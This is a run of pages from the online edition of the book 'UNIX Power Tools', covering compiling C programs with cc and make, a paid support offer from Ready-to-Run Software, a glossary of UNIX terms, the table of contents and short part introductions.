    By default, cc looks for header files in /usr/include, and you can have it look automatically in other directories by specifying them with the -I command-line option. If you want to use a header file in directory that isn't searched by default, supply its absolute or relative pathname in double quotes instead.

  • When linking with a library on the command line, you should put the -l options at the end. If you use more than one library, you'll need more than one -l option. The order of the -l options is important; check the documentation or look for a comment in the source code.

  • The compiler found libm.a because it was in /usr/lib, which it searches by default. If you want it to use a library in another directory, you may need to supply the directory using the -L command-line option.

As you can imagine, there's much more to know. But that's the general idea of compiling C programs on UNIX systems, and it's about as much as we can tell you without starting to teach you C.

52.8.2.8 The make Program

When you're writing a simple C program, you can simply compile the program using cc:

% cc test.c

But more complicated programs (like many of the programs on the CD-ROM) require a bit more work. More complicated programs are easier to handle if you write them in modules. So, for example, the pcal source tree on the CD-ROM contains several .c files: exprpars.c, moonphas.c, pcalinit.c, pcalutil.c, readfile.c, writefil.c, and, of course, pcal.c. Each of these source files needs to be compiled separately into object files (with .o suffixes). If you give the -c option, cc will compile ".c files" into ".o files" and stop without making the finished executable. When you run cc again - but give it the .o filenames (exprpars.o, moonphas.o, and so on) it will link all those object files with the libraries and make the executable file.

This makes compilation a bit harder to keep track of. There are a lot more steps. Furthermore, it means that whenever a file is changed, you have to remember not only to recompile it but also to relink the entire program.

This is a job for the make program. We showed uses for make in articles 21.9 and 28.13, but this is what it was really meant for. The pcal source tree comes with a file called Makefile. (Actually, it comes with several different Makefiles for different platforms, but that's another issue.) The Makefile keeps track of each of the programs and each of their dependencies. It also keeps track of any command-line options you might want passed to cc, including libraries to link to. The result is that when you want to make the pcal program, all you need to do is type:

% make pcal

Or, even better, just:

% make

This is a lot easier than trying to keep track of all the modules and command-line options yourself.

So if you can't compile a program because the header file it needs is installed in a non-standard place, you'd specify that in the Makefile. You could add the appropriate -I option to the COPTS declaration line:

COPTS    = -I/usr/include/sys

Or if you want to use a different compiler than cc, you could redefine that variable:

CC       = /usr/local/bin/gcc

Again, this is only the tip of the iceberg. But a basic understanding of libraries, header files, and make has helped me build many programs that wouldn't compile the first time. For help with make, see O'Reilly & Associates' Managing Projects with make by Andrew Oram and Steve Talbott.

- LM, EP

Previous: 52.7 Other Ways to Get the Software | UNIX Power Tools | Next: 52.9 Software Support from RTR
52.7 Other Ways to Get the Software | Book Index | 52.9 Software Support from RTR
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 52] 52.9 Software Support from RTR

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 52.8 Building Programs from Source Code Chapter 52
What's on the Disc 		Next: Glossary

52.9 Software Support from RTR

Ready-to-Run Software (the company that prepared the executable programs, build scripts, and patches for the Power Tools software) also provides support for the software delivered on the CD-ROM (or alternate media).

RTR will provide support for the following:

  • use of packages

  • compiling/building packages

  • installation

  • porting to unsupported platforms

You might think that because the software is free, the support ought to be, too! However, software support is time-consuming - especially for such a wide range of packages as we provide here.

Support is supplied via the Ready-to-Run CD support line at (900) 555-UNIX (8649). (The cost is $2.95 per minute.)

Fixed price support agreements are also available. Please write or fax for a price quote. (The price will depend on the platforms and packages to be supported.)

Ready-to-Run Software, Inc.
4 Pleasant Street
Forge Village, MA 01886
(978) 692-9990 (fax)

- JM

Previous: 52.8 Building Programs from Source Code | UNIX Power Tools | Next: Glossary
52.8 Building Programs from Source Code | Book Index | Glossary
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Glossary

AIX

A version of UNIX from the IBM Corporation.

argument

Zero or more characters passed to a program as a single unit. The shell breaks a command line into arguments by cutting it at unquoted white space. See also article 8.5, word.

array

An ordered collection of data items. An array has a single overall name; each item in it is called an element or member. For instance, the C shell stores its command search path in an array (47.5) named path (6.5). The first array member is named $path[1], the second is $path[2], and so on.

ASCII file

Formally, a file containing only ASCII (51.3) characters. More commonly (in the USA, at least) a file containing text that's printable, viewable, and has no "binary" (non-ASCII) characters. ASCII characters use only seven of the bits in a (8-bit) byte.

backquote

The character `. Not the same as a single quote ('). Does command substitution (9.16).

backslash

The character \. In UNIX, it changes the interpretation of the next character in some way. See also article 8.20, slash.

batch queue

A mechanism for sequencing large jobs. A batch queue receives job requests from users. It then executes the jobs one at a time. Batch queues go back to the earliest days of data processing. They are an extremely effective, if uncomfortable, way to manage system load. See also article 40.6.

bin directory

A directory for storing executable programs. See also article 4.2.

binaries, binary file

A file with non-text characters. Often, a directly executable file that can be run as a program. Binary characters use all the bits in a (8-bit) byte. See also ASCII file.

block size

The largest amount of data that a UNIX filesystem will always allocate contiguously. For example, if a filesystem's block size is 8 KB, files of size up to 8 KB are always physically contiguous (i.e., in one place), rather than spread across the disk. Files that are larger than the filesystem's block size may be fragmented: 8 KB pieces of the file are located in different places on the disk. Fragmentation limits filesystem performance. Note that the filesystem block size is different from a disk's physical block size, which is almost always 512 bytes.

brain-damaged

A program with poor design or other errors can be called brain-damaged.

BSD UNIX

The versions of UNIX developed at the University of California, Berkeley. BSD UNIX has been dominant in academia and has historically had some more advanced features than System V: BSD introduced virtual memory, networking, and the "fast filesystem" to the UNIX community. It is also the system on which SunOS was based. System V Release 4 and some vendors' earlier System V versions also have Berkeley features.

buffer

A temporary storage place such as a file or an area of the computer's memory. Most text editors store the file you're editing in a buffer; when you're done editing, the edited buffer is copied over (i.e., replaces) the original file.

command line

The text you type at a shell prompt. A UNIX shell reads the command line, parses it to find the command name (which is the first word on the command line), and executes the command. A command line may have more than one command joined by operators like semicolons (;) (8.5), pipes (|) (1.4), or double ampersands (&&) (44.9).

control character

A character you make by holding down the keyboard CTRL (Control) key while pressing a letter or another character key.

core file, core dump

When a program terminates abnormally, it may make a file named core. The core file can be used for debugging. See also article 24.5.

.cshrc file

See dot (.) files (.cshrc, .login, .profile.

CTRL-x

The character called "control x," where x is a key on the keyboard. See also control character.

daemon

A program that is invisible to users but provides important system services. Daemons manage everything from paging to networking to notification of incoming mail. BSD UNIX has many different daemons: without counting, I would guess that there are roughly two dozen. Daemons normally spend most of their time "sleeping" or waiting for something to do, so that they don't account for a lot of CPU load. See also article 1.14.

data switch

This hardware is something like a telephone switchboard. A data switch connects many terminals to two or more computers. The user, on a terminal or through a modem, tells the data switch which computer she wants a connection to. Also called a terminal multiplexor. Computers without data switches usually have one terminal connected to each tty (3.8) port; characteristics like the terminal type (5.10) can be set in system files. Conversely, computers with data switches can't know in advance what sort of terminal is connected to each tty port.

default

In a program that gives you more than one choice, the default choice is the one you get by not choosing. The default is usually the most common choice. As an example, the default file for many UNIX programs is the standard input. If you don't give a filename on the command line, a program will read its standard input.

dot (.) files (.cshrc, .login, .profile

Files that are read when you start a program (including when you log in and start a shell). These set up your environment and run any other UNIX commands (for instance, tset). If your account uses the C shell, it will read .cshrc and .login. Accounts that use the Bourne shell and shells like it read .profile. See also article 2.2.

double quote

The " character. This isn't the same as two single quotes ('') together. The " is used around a part of a UNIX command line where the shell should do variable and command substitution (and, on the C shell, history substitution), but no other interpretation. See also articles 8.14 and 8.15, single quote.

escape

When you escape a character or a string of characters, you change the way it is interpreted. Escaping something can take away its special meaning, as in shell quoting (8.14)- or can add special meaning, as in terminal escape sequences (5.8).

flag

In programming, a flag variable is set to signal that some condition has been met or that something should be done. For example, a flag can be set ("raised") if the user has entered something wrong; the program can test for this flag and not continue until the problem has been fixed.

flame

A heated or irrational statement.

fragment

In the BSD "fast filesystem," a fragment is a portion of a disk block - usually one-eighth of a block, but possibly one-quarter or one-half of a block. If the last portion of a file doesn't occupy a full disk block, the filesystem will allocate one or more fragments rather than an entire block. Don't confuse "fragments" with "fragmentation." Fragments allow the BSD filesystem to use larger block sizes without becoming inefficient.

Free Software Foundation, FSF

A group that develops the freely available GNU software. Their address is: 675 Massachusetts Avenue, Cambridge, MA 02139 USA.

full-duplex

Communications between a terminal and a computer where data flows in both directions at the same time. Half-duplex communications, where data flows in only one direction at a time, are unusual these days. See also article 41.2.

GNU

Gnu's Not Unix, a system of software planned to eventually be a freely available substitute for UNIX. See also Free Software Foundation, FSF.

gotcha

A "catch," difficulty, or surprise in the way that a program works.

hardcoded

In general, a value that can't be changed. For example, in a shell script with the command grep jane, the value jane is hardcoded; grep will always search for jane. But in the command grep $USER, the text that grep searches for is not hardcoded; it's a variable value.

hash table

Hashing data into the format of a hash table lets specially designed programs search for data quickly. A hash table assigns a special search code to each piece of data. For example, the C shell uses a hash table to locate commands more quickly; the rehash (4.2) command rebuilds the hash table after you add a new command.

I/O

Input/output of text from software or hardware.

inode

A data structure that describes a file. Within any filesystem, the number of inodes, and hence the maximum number of files, is set when the filesystem is created. See also article 1.22.

i-number

A UNIX file has a name (for people to identify it with) and an i-number (for UNIX to identify it with). Each file's i-number is stored in a directory, along with the filename, to let UNIX find the file that you name. See also article 1.22.

job

One UNIX command. It is easy to be sloppy and use the terms job, process, and program interchangeably. I do it and I'm sure you do, too. Within UNIX documentation, though, the word "job" is usually used to mean one, and only one, command line. Note that one command line can be complex. For example:

pic a.ms | tbl | eqn | troff -ms

is one command, and hence one job, that is formed from four processes.

job number

Shells with job control assign a job number to every command that is stopped or that is running in the background (1.26). You can use job numbers to refer to your own commands or groups of commands. Job numbers are generally easier to use than process IDs; they are much smaller (typically between 1 and 10), and therefore easier to remember. The C shell jobs command displays job numbers. See also article 12.1.

kernel

The part of the UNIX operating system that provides memory management, I/O services, and all other low-level services. The kernel is the "core" or "heart" of the operating system. See also article 1.14.

kludge

A program or a solution to a problem that isn't written carefully, doesn't work as well as it should, doesn't use good programming style, and so on.

library function

Packages of system calls (and of other library functions) for programmers in C and other languages. In general (though not always), a library function is a "higher-level operation" than a system call. See also system call.

load average

A measure of how busy the CPU is. The load average is useful, though imprecise. It is defined as the average number of jobs in the run queue plus the average number of jobs that are blocked while waiting for disk I/O. The uptime (39.7) command shows the load average.

.login file

See dot (.) files (.cshrc, .login, .profile.

mode

In UNIX, an octal number that describes what access a file's owner, group, and others have to the file. See also article 1.23.

modulo

Think back to your fourth grade arithmetic. When you divide two numbers, you have a dividend (the number on top), a divisor (the number on the bottom), a quotient (the answer), and a remainder (what's left over). In computer science, this kind of division is very important. However, we're usually more interested in the remainder than in the quotient. When we're interested in the remainder, we call the operation a modulus (or modulo, or mod). For instance, one of the examples on your fourth grade arithmetic text might have been 13 ÷ 3 = 4 (with a remainder of 1). As computer users, we're more interested in 13 mod 3 = 1. It's really the same operation, though. Modulo is also used in expressions like "modulo wildcards," which means "everything but wildcards."

NFS

Network File System. NFS allows UNIX systems and many non-UNIX systems to share files via a TCP/IP network. Subject to certain security restrictions, systems are allowed complete access to another system's files. See also article 1.33, TCP/IP.

newline

The character that marks the end of a line of text in most UNIX files. (This is a convention, not a requirement.)

null

Empty, zero-length, with no characters - for example, a null string. This is not the same as an ASCII NUL (51.3) character.

octal number

The base 8 numbering system. Octal numbers are made with the digits 0 through 7. For example, the decimal (base 10) number 12 is the same as the octal number 14. ASCII character codes (51.3) are often shown as octal numbers.

option switch

Typed on a command line to modify the way that a UNIX command works. Usually starts with a dash (-). The terms option and switch are more or less interchangeable. An option may have several settings, but a switch usually has two settings: on or off, enabled or disabled, yes or no, etc.

panic

UNIX jargon for a "crash." A panic is really a special kind of a crash. Panics occur when UNIX detects some irreconcilable inconsistency in one of its internal data structures. The kernel throws up its hands and shuts the system down before any damage can be done. As it is going down, it prints a "panic" message on the console.

parse

To split into pieces and interpret. Article 8.5 explains how the shell parses a command line.

partition

A portion of a disk drive. UNIX disk drives typically have eight partitions, although not all are in use.

path, search

See search path.

pipe

A UNIX mechanism for sending the output of one program directly to the input of another program, without using an intermediate file. All UNIX systems support pipes. See also article 1.4. System V and SunOS also provide "named pipes," which are FIFO (first-in/first-out) buffers that have names and can be accessed via the filesystem.

portable

A program that's portable can be used on more than one version of UNIX or with more than one version of a command.

POSIX

An "open" computer operating system that is similar to UNIX.

priority

A number that determines how often the kernel will run a process. A higher-priority process will run more often and, therefore, will finish faster, than a low-priority process.

process

A lot of the time, a process is nothing more than another name for a program that is running on the system. But there is a more formal definition: a process is a single execution thread, or a single stream of computer instructions. One job may be built from many different processes. For example, a command line with pipes (1.4) starts two or more processes. See also article 38.3.

process ID (PID)

UNIX assigns every process an ID number (called a PID) when it starts. See also article 38.3. This number allows you to refer to a process at a later time. If you need to kill (38.10) a runaway program, you refer to it by its process ID. The ps (38.5) command displays process IDs.

.profile file

See dot (.) files (.cshrc, .login, .profile.

prompt

How a program asks you for information: by printing a short string like Delete afile? to the terminal and waiting for a response. See also shell prompt.

pseudo-code

A way to write out program text, structured like a program, without using the actual programming language. Pseudo-code is usually used to explain a program.

quote

See backquote.

read-only filesystem

Filesystems are usually set up to allow write access to users who have the proper permissions (1.23). The system administrator can mount a filesystem read-only; then no user will be able to make changes to files there.

recursive

A program or routine that re-executes itself or repeats an action over and over. For example, the find (17.1) program moves through a directory tree recursively, doing something in each directory.

reverse video

On a video display, reversed foreground and background colors or tones. Reverse video is used to highlight an area or to identify text to be used or modified. For instance, if text is usually shown with black letters on a white background, reverse video would have white letters on a black background. See also article 5.8.

SCSI

Small Computer Systems Interface, a standard interface for disk and tape devices now used on many UNIX (and non-UNIX) systems.

search path

A list of directories that the shell searches to find the program file you want to execute. See also articles 6.4 and 8.7.

shell

A program that reads and interprets command lines and also runs those programs. See also articles 8.5 and 44.3.

shell prompt

A signal from a shell (when it's used interactively) that the shell is ready to read a command line. By default, the percent sign (%) is the C shell prompt and the dollar sign ($) is the Bourne shell prompt.

slash

The character /. It separates elements in a pathname. See also article 1.21, backslash.

single quote

The ' character. This isn't the same as a backquote (`). The single quote is used around a part of a UNIX command line where the shell should do no interpretation (except history substitution in the C shell). See also articles 8.14 and 8.15, double quote.

special file

An entity in the filesystem that accesses I/O devices. There is a special file for every terminal, every network controller, every partition of every disk drive, and every possible way of accessing every tape drive. See also article 1.29.

string

A sequence of characters. See also word.

subdirectory

A directory within a directory. See also articles 1.21 and 4.7.

swapping

A technique that the UNIX kernel uses to clean up physical memory. The kernel moves entire processes from memory to disk and then reassigns the memory to some other function. Processes that have been idle for more than a certain period may be removed from memory to save space. Swapping is also used to satisfy extreme memory shortages. When the system is extremely short of memory, active processes may be "swapped out."

switch

See option switch.

system call

The lowest-level access to the UNIX operating system. Everything else in UNIX is built on system calls. See also library function.

System V UNIX

A version of UNIX from AT&T. The most recent Release of System V is Release 4, known as V.4 or SVR4.

TCP/IP

A network protocol that is commonly used for communications via an Ethernet. TCP/IP is also called the "Internet protocol." It is also common to use TCP/IP over leased lines for long-distance communications.

termcap

Stands for terminal capabilities, an early (and still common) way to describe terminals to UNIX. See also article 41.11, terminfo.

terminal emulator

A program that makes a computer display emulate (act like) a terminal. For example, many terminal emulator programs emulate the Digital Equipment Corporation VT100 terminal.

terminfo

A newer way to describe terminal capabilities to UNIX. See also article 41.11, termcap.

the Net

A term for two particular networks: Usenet and Internet (1.33). For instance, "I read it on the Net" or "You can get that file on the Net."

timestamp

The UNIX filesystem stores the times that each file was last modified, accessed, or had a change to its inode. These times - especially the modification time - are often called timestamps. See also article 21.13.

truncate

To cut, to shorten - for example, "truncate a file after line 10" means to remove all lines after line 10.

uuencode, uudecode

Utilities that encode files with binary (8-bit) characters into an ASCII (7-bit) format - and decode them back into the original binary format. This is used for transferring data across communications links that can't transfer binary (8-bit) data. See also article 19.5.

VAX/VMS

A popular computer operating system from the Digital Equipment Corporation.

wedged

A terminal or program is wedged when it's "frozen" or "stuck." The normal activity stops and often can't be restarted without resetting the terminal or killing the program.

white space

A series of one or more space or TAB characters.

word

Similar to a word in a spoken language like English, a word is a unit made up of one or more characters. But unlike English, words in UNIX can contain white space; they can also have no characters (a zero-length word). See also argument.

XENIX

One of the first versions of UNIX to run on IBM PCs, and one of the few that will run on 80286 systems. XENIX descends from Version 7 UNIX, a version developed by AT&T in the late 1970s. It has many resemblances to BSD UNIX. Over time, XENIX has been rewritten as a variant of System V.2.

zombies

Dead processes that have not yet been deleted from the process table. Zombies normally disappear almost immediately. However, at times it is impossible to delete a zombie from the process table, so it remains there (and in your ps output) until you reboot. Aside from their slot in the process table, zombies don't require any of the system's resources. See also article 38.16.

- JP, ML

Previous: 52.9 Software Support from RTR | UNIX Power Tools
52.9 Software Support from RTR | Book Index
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


UNIX Power Tools

By Jerry Peek, Tim O'Reilly & Mike Loukides; ISBN 1-56592-260-3, 1120 pages.
Second Edition Edition, August 1997.
(See the catalog page for this book.)

Search the text of UNIX Power Tools.

Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Table of Contents

Preface
Chapter 1: Introduction

Part I: Making Yourself at Home

Chapter 2: Logging In
Chapter 3: Logging Out
Chapter 4: Organizing Your Home Directory
Chapter 5: Setting Up Your Terminal
Chapter 6: Shell and Environment Variables
Chapter 7: Setting Your Shell Prompt

Part II: Let the Computer Do the Dirty Work

Chapter 8: How the Shell Interprets What You Type
Chapter 9: Saving Time on the Command Line
Chapter 10: Aliases
Chapter 11: The Lessons of History
Chapter 12: Job Control
Chapter 13: Redirecting Input and Output

Part III: Working with the Filesystem

Chapter 14: Moving Around in a Hurry
Chapter 15: Wildcards
Chapter 16: Where Did I Put That?
Chapter 17: Finding Files with find
Chapter 18: Linking, Renaming, and Copying Files
Chapter 19: Creating and Reading Archives
Chapter 20: Backing Up Files
Chapter 21: More About Managing Files
Chapter 22: File Security, Ownership, and Sharing
Chapter 23: Removing Files
Chapter 24: Other Ways to Get Disk Space

Part IV: Looking Inside Files

Chapter 25: Showing What's in a File
Chapter 26: Regular Expressions (Pattern Matching)
Chapter 27: Searching Through Files
Chapter 28: Comparing Files
Chapter 29: Spell Checking, Word Counting, and Textual Analysis

Part V: Text Editing

Chapter 30: vi Tips and Tricks
Chapter 31: Creating Custom Commands in vi
Chapter 32: GNU Emacs
Chapter 33: Batch Editing
Chapter 34: The sed Stream Editor
Chapter 35: You Can't Quite Call This Editing
Chapter 36: Sorting
Chapter 37: Perl, a Pathologically Eclectic Rubbish Lister

Part VI: Managing Processes

Chapter 38: Starting, Stopping, and Killing Processes
Chapter 39: Time and Performance
Chapter 40: Delayed Execution

Part VII: Terminals and Printers

Chapter 41: Terminal and Serial Line Settings
Chapter 42: Problems with Terminals
Chapter 43: Printing

Part VIII: Shell Programming

Chapter 44: Shell Programming for the Uninitiated
Chapter 45: Shell Programming for the Initiated
Chapter 46: Shell Script Debugging and Gotchas
Chapter 47: C Shell Programming...NOT

Part IX: Miscellaneous

Chapter 48: Office Automation
Chapter 49: Working with Numbers
Chapter 50: Help--Online Documentation, etc.
Chapter 51: Miscellaneous Useful Programs and Curiosities
Chapter 52: What's on the Disc
Glossary

Examples

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System

Copyright © 1998 O'Reilly & Associates. All Rights Reserved.


[Part I] Making Yourself at Home

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 1.34 What's Wrong with UNIX Part I Next: 2. Logging In

Part I: Making Yourself at Home

Do us a favor. Don't keep reading.

Instead, start browsing. Flip through the book till you see something interesting. Read the articles around it till an interesting cross-reference takes you somewhere else.

Keep it fun. Try to learn something new each day. Browse through the book until you find something that makes you smile. Then set the book aside until the next time you need a break.

If you do insist on reading straight through, you'll find stuff in the next four chapters about logging in and out, about organizing your home directory, about setting up your terminal, and about shell and environment variables.

- TOR

Chapter 2: Logging In
Chapter 3: Logging Out
Chapter 4: Organizing Your Home Directory
Chapter 5: Setting Up Your Terminal
Chapter 6: Shell and Environment Variables
Chapter 7: Setting Your Shell Prompt

Previous: 1.34 What's Wrong with UNIX | UNIX Power Tools | Next: 2. Logging In
1.34 What's Wrong with UNIX | Book Index | 2. Logging In
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Part II] Let the Computer Do the Dirty Work

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 7.13 Pre-Prompt Commands in bash Part II Next: 8. How the Shell Interprets What You Type

Part II: Let the Computer Do the Dirty Work

Letting the computer do the dirty work-that's what this entire book is about. However, the next six chapters cover some of the most important ways to do that. The UNIX shells provide many ways to help you avoid typing the same thing over and over again, or typing something long when you could be typing something short, or ...

What is it they say? "Time spent sailing is not subtracted from your life." I don't know about that, but I do know that time spent learning the intricacies of the shell is seldom wasted.

- TOR

Chapter 8: How the Shell Interprets What You Type
Chapter 9: Saving Time on the Command Line
Chapter 10: Aliases
Chapter 11: The Lessons of History
Chapter 12: Job Control
Chapter 13: Redirecting Input and Output

Previous: 7.13 Pre-Prompt Commands in bash | UNIX Power Tools | Next: 8. How the Shell Interprets What You Type
7.13 Pre-Prompt Commands in bash | Book Index | 8. How the Shell Interprets What You Type
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Part III] Working with the Filesystem

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 13.16 Store and Show Errors with logerrs Part III Next: 14. Moving Around in a Hurry

Part III: Working with the Filesystem

What's a filesystem anyway? A set of data structures that tell the system how the physical data storage on the disc is organized into files? The organizing principles that make it possible to store data in a predictable way, so it can be retrieved easily not just by one person but by many? A fruitless battle against entropy, as the established hierarchy gets overgrown, overthrown, and fragmented?

The next 11 chapters deal with this enormous subject, so central to the art of working with UNIX:

  • How to get around the filesystem.

  • How to use wildcards effectively to point to more than one file.

  • How to find the files you've stored in the filesystem&ndash;using ls in all its forms.

  • How to use find, the "power saw" of file search operations.

  • How to link, rename, and copy files effectively.

  • How to create archives for storing and moving many files.

  • How and why to make backups&ndash;not just a job for the system administrator.

  • Other miscellaneous hints about managing files.

  • How file ownership works.

  • How to remove files.

  • Other ways to free up disk space.

- TOR

Chapter 14: Moving Around in a Hurry
Chapter 15: Wildcards
Chapter 16: Where Did I Put That?
Chapter 17: Finding Files with find
Chapter 18: Linking, Renaming, and Copying Files
Chapter 19: Creating and Reading Archives
Chapter 20: Backing Up Files
Chapter 21: More About Managing Files
Chapter 22: File Security, Ownership, and Sharing
Chapter 23: Removing Files
Chapter 24: Other Ways to Get Disk Space

Previous: 13.16 Store and Show Errors with logerrs | UNIX Power Tools | Next: 14. Moving Around in a Hurry
13.16 Store and Show Errors with logerrs | Book Index | 14. Moving Around in a Hurry
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Part IV] Looking Inside Files

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 24.18 Huge Files Might Not Take a Lot of Disk Space Part IV Next: 25. Showing What's in a File

Part IV: Looking Inside Files

It's amazing how much there is to know about files without ever opening them. But all the cataloging and organizing and finding of files is simply a prelude to using them-and that usually means dealing with what's inside.

Chapter 25, Showing What's in a File talks about various ways to dump the entire contents of a file to your screen-all at once, or in manageable pieces.

Chapter 26, Regular Expressions (Pattern Matching) describes the essential prelude to any more precise look at just parts of a file-the regular expressions that allow you to match textual patterns rather than fixed words or phrases.

Chapter 27, Searching Through Files describes the grep family of programs, which use regular expressions to find and print individual matching lines from a file or files. grep is the program that people ignorant of UNIX like to pick on for its seemingly obscure name, yet it is one of the handiest tools UNIX provides.

Chapter 28, Comparing Files tells how to compare two files that might have a great deal in common, how to isolate the differences, and how to put Humpty back together again when versions have become skewed with multiple incompatible edits.

Chapter 29, Spell Checking, Word Counting, and Textual Analysis describes some specialized ways to look at files-spell checking, word counting, and various kinds of simple proofreading.

- TOR

Chapter 25: Showing What's in a File
Chapter 26: Regular Expressions (Pattern Matching)
Chapter 27: Searching Through Files
Chapter 28: Comparing Files
Chapter 29: Spell Checking, Word Counting, and Textual Analysis

Previous: 24.18 Huge Files Might Not Take a Lot of Disk Space | UNIX Power Tools | Next: 25. Showing What's in a File
24.18 Huge Files Might Not Take a Lot of Disk Space | Book Index | 25. Showing What's in a File
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Part V] Text Editing

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 29.10 Just the Words, Please Part V Next: 30. vi Tips and Tricks

Part V: Text Editing

On many systems, when you talk about editing, you're talking about word processing, more or less. And while modern word processing programs have many nifty features and can be very easy to learn and use, it can be quite striking just how much they lack.

When you talk about text editing under UNIX, you are talking about some real power tools-"word processors" that let you write what amount to "editing programs" that automate repetitive editing and give you enormous power to make global changes to many files at once.

If you're coming to UNIX from a system with a friendly modern word processor, you're likely to be appalled at your first encounter with vi or Emacs-but if you stick with it, and go on from there to programs like sed and awk, you'll look back on your former smugness with chagrin. Yes, there are many features you'll miss when using these relics of an earlier age. And yes, "There were giants on the earth in those days."

For all their features, modern text processing programs still have a lot of catching up to do.

- TOR

Chapter 30: vi Tips and Tricks
Chapter 31: Creating Custom Commands in vi
Chapter 32: GNU Emacs
Chapter 33: Batch Editing
Chapter 34: The sed Stream Editor
Chapter 35: You Can't Quite Call This Editing
Chapter 36: Sorting
Chapter 37: Perl, a Pathologically Eclectic Rubbish Lister

Previous: 29.10 Just the Words, Please | UNIX Power Tools | Next: 30. vi Tips and Tricks
29.10 Just the Words, Please | Book Index | 30. vi Tips and Tricks
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Part VI] Managing Processes

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 37.5 And Now, Perl 5 Part VI Next: 38. Starting, Stopping, and Killing Processes

Part VI: Managing Processes

In one of his more famous lines, poet William Butler Yeats asked, "How can you tell the dancer from the dance?"

If it didn't sound so pretentious, you might get away with asking the same question about programs and processes. A process is the image of a program as it executes rather than lies there on the disc, a process in potentia.

Really, this whole book is about processes; we're not talking about program design but about using the darn things.

Perhaps we're splitting hairs to break off this section. The chapters it contains could have fit in elsewhere. In the end, though, it seemed right to honor the somewhat tenuous link between the topics of managing processes (Chapter 38, Starting, Stopping, and Killing Processes), program and system performance (Chapter 39, Time and Performance), and offline execution (Chapter 40, Delayed Execution).

- TOR

Chapter 38: Starting, Stopping, and Killing Processes
Chapter 39: Time and Performance
Chapter 40: Delayed Execution

Previous: 37.5 And Now, Perl 5 | UNIX Power Tools | Next: 38. Starting, Stopping, and Killing Processes
37.5 And Now, Perl 5 | Book Index | 38. Starting, Stopping, and Killing Processes
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Part VII] Terminals and Printers

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 40.15 crontab Script Makes crontab Editing Easier/Safer Part VII Next: 41. Terminal and Serial Line Settings

Part VII: Terminals and Printers

We don't spend a whole lot of time on UNIX hardware in this book, but we can't avoid spending some on terminals and printers. Without these input/output devices, everything else becomes rather irrelevant.

We talked a bit about terminal setup back in Chapter 5, Setting Up Your Terminal. Chapters 41 and 42 pick up the thread. Chapter 41, Terminal and Serial Line Settings describes some of the underpinnings of the UNIX terminal interface-the way things work. Chapter 42, Problems with Terminals focuses on problems that might occur and how to solve them.

Chapter 43, Printing talks about how printing works under UNIX, including not only the basics of the print spooler but also ways to get formatted output. Among other things, it includes some nifty PostScript and image conversion utilities.

- TOR

Chapter 41: Terminal and Serial Line Settings
Chapter 42: Problems with Terminals
Chapter 43: Printing

Previous: 40.15 crontab Script Makes crontab Editing Easier/Safer | UNIX Power Tools | Next: 41. Terminal and Serial Line Settings
40.15 crontab Script Makes crontab Editing Easier/Safer | Book Index | 41. Terminal and Serial Line Settings
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Part VIII] Shell Programming

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 43.25 The Portable Bitmap Package Part VIII Next: 44. Shell Programming for the Uninitiated

Part VIII: Shell Programming

The shell is the ultimate UNIX power tool.

It is the design of the shell-including basic features like pipes, filters, and redirection, and the idea of an environment where small programs can do big things by working together-that makes all the rest possible.

Some new UNIX users program only in Perl. Perl does do many things that are otherwise difficult or impossible, and Perl scripts can be run on other operating systems. But we believe there's plenty of room for the original UNIX "small is beautiful" philosophy.

Whether you program the shell or not, the next four chapters will help you use it interactively.

- TOR, JP

Chapter 44: Shell Programming for the Uninitiated
Chapter 45: Shell Programming for the Initiated
Chapter 46: Shell Script Debugging and Gotchas
Chapter 47: C Shell Programming...NOT

Previous: 43.25 The Portable Bitmap Package | UNIX Power Tools | Next: 44. Shell Programming for the Uninitiated
43.25 The Portable Bitmap Package | Book Index | 44. Shell Programming for the Uninitiated
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Part IX] Miscellaneous

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 47.6 Quick Reference: C Shell switch Statement Part IX Next: 48. Office Automation

Part IX: Miscellaneous

